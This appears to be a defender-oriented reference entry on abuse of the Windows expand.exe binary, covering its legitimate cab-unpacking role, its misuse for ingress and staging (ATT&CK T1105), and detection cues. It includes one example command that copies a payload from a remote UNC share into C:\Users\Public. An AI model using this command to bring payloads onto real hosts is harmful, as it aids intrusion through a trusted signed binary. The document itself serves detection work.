expand.exe

expand.exe expands compressed files from .cab archives to a destination, and it can also copy a plain file from a source to a destination. Both the source and destination can be UNC paths, so it reads and writes across the network. The genuine binary lives at C:\Windows\System32\expand.exe.

Legitimately, expand is used by Windows servicing and installers to unpack cabinet files. The source and destination on its command line are what give an instance meaning.

expand.exe is a small ingress and staging tool (T1105). Because it copies files, including from and to UNC paths, an attacker uses expand \\host\share\payload.exe C:\Users\Public\p.exe to bring a file onto the host through a trusted, signed binary, or to stage files for the next step. A copy from a remote share, or an executable landing in a user-writable directory, is what gives it away.

Because expand has a genuine role in servicing, the source and destination are what matter. A remote source or a payload-looking destination under an unusual parent separates abuse from legitimate unpacking.